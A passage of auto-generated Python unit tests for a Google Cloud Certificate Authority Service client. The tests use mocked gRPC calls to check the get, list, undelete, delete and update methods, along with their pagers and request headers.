) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateAuthority()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_certificate_authority(
service.GetCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateAuthority()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateAuthority()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_certificate_authority(
service.GetCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.ListCertificateAuthoritiesRequest, dict,]
)
def test_list_certificate_authorities(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateAuthoritiesResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_certificate_authorities(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateAuthoritiesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateAuthoritiesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_certificate_authorities_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
client.list_certificate_authorities()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateAuthoritiesRequest()
@pytest.mark.asyncio
async def test_list_certificate_authorities_async(
transport: str = "grpc_asyncio",
request_type=service.ListCertificateAuthoritiesRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateAuthoritiesResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_certificate_authorities(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateAuthoritiesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateAuthoritiesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_certificate_authorities_async_from_dict():
await test_list_certificate_authorities_async(request_type=dict)
def test_list_certificate_authorities_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateAuthoritiesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
call.return_value = service.ListCertificateAuthoritiesResponse()
client.list_certificate_authorities(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_certificate_authorities_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateAuthoritiesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateAuthoritiesResponse()
)
await client.list_certificate_authorities(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_certificate_authorities_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateAuthoritiesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_certificate_authorities(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_certificate_authorities_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_certificate_authorities(
service.ListCertificateAuthoritiesRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_certificate_authorities_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateAuthoritiesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateAuthoritiesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_certificate_authorities(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_certificate_authorities_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_certificate_authorities(
service.ListCertificateAuthoritiesRequest(), parent="parent_value",
)
def test_list_certificate_authorities_pager(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
next_page_token="abc",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[], next_page_token="def",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[resources.CertificateAuthority(),],
next_page_token="ghi",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_certificate_authorities(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CertificateAuthority) for i in results)
def test_list_certificate_authorities_pages(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
next_page_token="abc",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[], next_page_token="def",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[resources.CertificateAuthority(),],
next_page_token="ghi",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
),
RuntimeError,
)
pages = list(client.list_certificate_authorities(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_certificate_authorities_async_pager():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
next_page_token="abc",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[], next_page_token="def",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[resources.CertificateAuthority(),],
next_page_token="ghi",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
),
RuntimeError,
)
async_pager = await client.list_certificate_authorities(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.CertificateAuthority) for i in responses)
@pytest.mark.asyncio
async def test_list_certificate_authorities_async_pages():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_authorities),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
next_page_token="abc",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[], next_page_token="def",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[resources.CertificateAuthority(),],
next_page_token="ghi",
),
service.ListCertificateAuthoritiesResponse(
certificate_authorities=[
resources.CertificateAuthority(),
resources.CertificateAuthority(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_certificate_authorities(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type", [service.UndeleteCertificateAuthorityRequest, dict,]
)
def test_undelete_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.undelete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UndeleteCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_undelete_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
client.undelete_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UndeleteCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_undelete_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.UndeleteCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.undelete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UndeleteCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_undelete_certificate_authority_async_from_dict():
await test_undelete_certificate_authority_async(request_type=dict)
def test_undelete_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UndeleteCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.undelete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_undelete_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UndeleteCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.undelete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_undelete_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.undelete_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_undelete_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.undelete_certificate_authority(
service.UndeleteCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_undelete_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.undelete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.undelete_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_undelete_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.undelete_certificate_authority(
service.UndeleteCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.DeleteCertificateAuthorityRequest, dict,]
)
def test_delete_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
client.delete_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_delete_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.DeleteCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_certificate_authority_async_from_dict():
await test_delete_certificate_authority_async(request_type=dict)
def test_delete_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_certificate_authority(
service.DeleteCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_certificate_authority(
service.DeleteCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.UpdateCertificateAuthorityRequest, dict,]
)
def test_update_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
client.update_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_update_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.UpdateCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_certificate_authority_async_from_dict():
await test_update_certificate_authority_async(request_type=dict)
def test_update_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateAuthorityRequest()
request.certificate_authority.name = "certificate_authority.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_authority.name=certificate_authority.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateAuthorityRequest()
request.certificate_authority.name = "certificate_authority.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_authority.name=certificate_authority.name/value",
) in kw["metadata"]
def test_update_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_certificate_authority(
certificate_authority=resources.CertificateAuthority(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_authority
mock_val = resources.CertificateAuthority(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_certificate_authority(
service.UpdateCertificateAuthorityRequest(),
certificate_authority=resources.CertificateAuthority(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_certificate_authority(
certificate_authority=resources.CertificateAuthority(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_authority
mock_val = resources.CertificateAuthority(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
